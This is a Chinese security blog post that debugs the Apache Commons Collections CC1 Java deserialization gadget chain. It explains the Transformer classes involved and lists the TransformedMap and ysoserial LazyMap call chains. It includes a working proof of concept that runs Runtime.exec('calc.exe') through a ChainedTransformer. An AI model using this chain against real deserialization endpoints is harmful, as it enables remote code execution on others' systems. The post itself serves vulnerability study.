Java反序列化:CommonsCollections1调试分析
算是咕咕了好久
所谓的CC链分析,是指针对于Apache Commons Collections的反序列化分析。
Apache Commons Collections,简单而言,是Apache开源项目的一个重要组件。主要提供了各种数据结构的实现
环境搭建
需要使用到commons-collections依赖
- commons-collections 版本为3.1
先前碰到了点小坑,项目没跑起来
后来查阅相关资料得知在高版本的jre中(大于jdk8u71),漏洞补丁被打上了,CC1链是没办法使用的
所以将SDK(软件开发工具包)和JRE(Java运行环境)设置成JDK8的版本
基础知识
刚上手的时候多少有点懵逼
光看代码中的函数方法怎么调用,怎么形成攻击链而不知道函数的含义多少有点难受
所以先去涉及到的类和函数进行了调研
此处只贴出核心代码
1.命令执行点
在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行指定的字符串命令
一个很简单的demo
public class RuntimeExecTest {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc.exe"); // 返回值为Process进程类
}
}
2.Transformer
在 Commons Collections 中,
Transformer
接口用于将一个对象转换为另一个对象,通常在集合操作中使用。它只有一个方法transform(Object input)
,接受一个输入对象,并返回一个经过转换的输出对象。这个接口的主要用途是在集合的转换、映射或处理操作中,对集合中的每个元素进行定制化的转换。
Transformer接口,如下代码所示
需要具体实现transform方法
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
3.ConstantTransformer
实现了上面的Transformer接口的transform方法
装饰一个集合,指定某个特定的返回值进行返回
public class ConstantTransformer implements Transformer, Serializable {
public Object transform(Object input) {
return this.iConstant;
}
}
4.InvokerTransformer
也是实现了上面的Transformer接口的transform方法
主要过程是通过Java反射技术实现方法调用
public class InvokerTransformer implements Transformer, Serializable {
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
// 反射
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
payload
1.TransformedMap
p神的文章中有涉及到这条链,特此调试一下
demo如下
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1EXP{
public static void main(String[] args) throws Exception{
// Transformer对象数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
};
// 将数组写入Transformer链
Transformer transformerChain = new ChainedTransformer(transformers);
Map innnerMap = new HashMap();
// 回调函数设置
Map outerMap = TransformedMap.decorate(innnerMap, null, transformerChain);
//
outerMap.put("test", "123");
}
}
Gadget Chain
先给出我自己的调试出的Gadget Chain
后半段命令执行点的入口为Runtime.exec
/*
Gadget chain:
TransformedMap.put()
TransformedMap.trasnformValue()
TransformedMap.valueTransformer.transform()
ChainedTransformer.transform()
...
Requires:
commons-collections
*/
调试过程
- 前半段在Transformer对象数组的声明,并以数组为参数写入Transformer链,这没啥好说的了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
};
// 将数组写入Transformer链
Transformer transformerChain = new ChainedTransformer(transformers);
- 回调设置
第二张图可以看到在设置key和value的相关Transformer
Map outerMap = TransformedMap.decorate(innnerMap, null, transformerChain);
- put方法引发回调
Map innnerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innnerMap, null, transformerChain);
outerMap.put("test", "123");
调用put方法:
判断是否为空,进行transform方法调用
可以看到参数如下,整个过程是利用了InvokerTransformer类的Transform方法中的反射机制来完成的
然后进入了ChainedTransformer的transform方法,进行不断"函数式"回调
直接用p神的图来解释这个"函数式"回调了:Runtime.exec("calc.exe")
2.LazyMap
LazyMap,顾名思义,“惰性映射”。其作用是创建一个映射,其中的值(value)在第一次访问时才会被实际计算或初始化。这可以在一些场景下节省计算资源,特别是当映射中的值是昂贵计算或初始化的对象时。
ysoserial-master项目中涉及的一条链,是用的LazyMap
这一条
有了上一条的基础,调试起来会快一点
demo直接看下ysoserial-master的代码
Gadget Chain
主要不同是在前部分
后面都是利用了InvokerTransformer
中的transform
进行反射动态获取Runtime.exec
方法
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
调试过程
- 看栈帧
AnnotationIncationHandler.invoke()
重点部分在于AnnotationIncationHandler
:
反序列化工作启动时,在AnnotationIncationHandler.readObject()
并没有直接调用到LazyMap.get()
而在AnnotationIncationHandler.invoke
方法中涉及到了get方法调用,只要将menberValues
设置为LazyMap
Object var6 = this.memberValues.get(var4);
联系这个方法需要使用到Java对象代理,代理的具体细节在ysoserial.payloads.util.Gadgets
,不赘述了
LazyMap
这也符合上述所说的”惰性映射“特点
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
- 之后的环节就是ChainedTransformer的函数式调用了,不赘述